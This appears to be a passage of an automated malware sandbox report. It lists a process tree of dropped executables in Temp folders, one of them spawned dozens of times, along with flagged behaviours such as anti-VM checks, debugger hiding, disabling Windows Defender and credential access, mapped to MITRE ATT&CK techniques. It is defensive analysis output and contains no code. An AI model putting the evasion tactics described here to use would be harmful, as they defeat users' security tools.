        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11700
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11708
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11716
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11724
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11732
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11740
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11748
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11756
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11764
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11772
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11780
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11788
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11796
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11804
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11812
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11820
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11828
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11836
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11844
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11852
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11860
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11868
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11876
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11884
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11892
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11900
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11908
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11916
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11924
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11932
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11940
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11948
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11956
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11964
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11972
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11980
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11988
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:11996
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:12004
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:12012
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:12020
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:12028
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:12036
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:12044
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:12052
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:12060
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:12068
    - - C:\Users\Admin\AppData\Local\Temp\1014372001\afe0a0aa31.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014372001\afe0a0aa31.exe"
        5⤵
        
        PID:8548
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3U53f.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3U53f.exe
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3456
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4R341Q.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4R341Q.exe
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Windows security modification
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4512

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1204 -ip 1204
1⤵
PID:2216

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 1544 -ip 1544
1⤵
PID:3568

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
1⤵
PID:1528
- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\DCSCMIN\IMDCSC.exe
  "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\DCSCMIN\IMDCSC.exe"
  2⤵
  PID:1636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion